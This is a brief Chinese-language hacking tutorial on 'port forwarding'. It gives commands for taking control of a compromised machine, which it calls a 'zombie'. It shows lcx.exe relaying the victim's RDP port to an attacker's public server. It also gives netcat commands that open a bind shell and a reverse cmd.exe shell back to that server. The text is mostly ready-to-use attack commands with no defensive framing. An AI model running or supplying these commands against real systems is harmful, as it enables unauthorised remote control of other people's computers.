端口转发
一、lcx 的使用
1. 肉鸡上执行:lcx.exe –slave 公网 ip + 端口 肉鸡 ip + 端口
例如:lcx.exe -slave xxx.xxx.xxx.xxx 10001 127.0.0.1 3389
意思是把肉鸡的 3389 端口转发到 xxx.xxx.xxx.xxx 公网的 10001 端口
2. 公网 ip 机器上执行 lcx.exe –listen 10000 10001
例如:Lcx.exe –listen 10000 10001
意思是监听公网 ip 机器上的 10000 端口请求,并将 10000 的请求传送给 10001 端口。
此时,RDP 连接,只需要输入 127.0.0.1:10000,即可远程连接到肉鸡上。
二、nc 反弹 cmdshell
1. 开启肉鸡代理执行 cmdshell
在肉鸡上执行 nc -l -p 2333 -t -e cmd.exe
意思是,肉鸡监听本地的 2333 端口,且应答通过 telnet(-t)模式执行 cmd.exe 程序
在自己的公网服务器上执行 nc -nvv 肉鸡 ip 2333
2. 反向代理执行 cmdshell
在公网服务器上运行 nc -l -p 2333
意思是监听本地端口 2333,登台其他电脑登陆过来
在肉鸡上执行 nc -t -e cmd.exe 公网服务器 ip 2333
意思是让肉鸡可以通过 telnet 模式执行 cmd.exe 程序,并可以把执行权通过 2333 端口给公网服务器
参考链接:
http://www.03sec.com/3141.shtml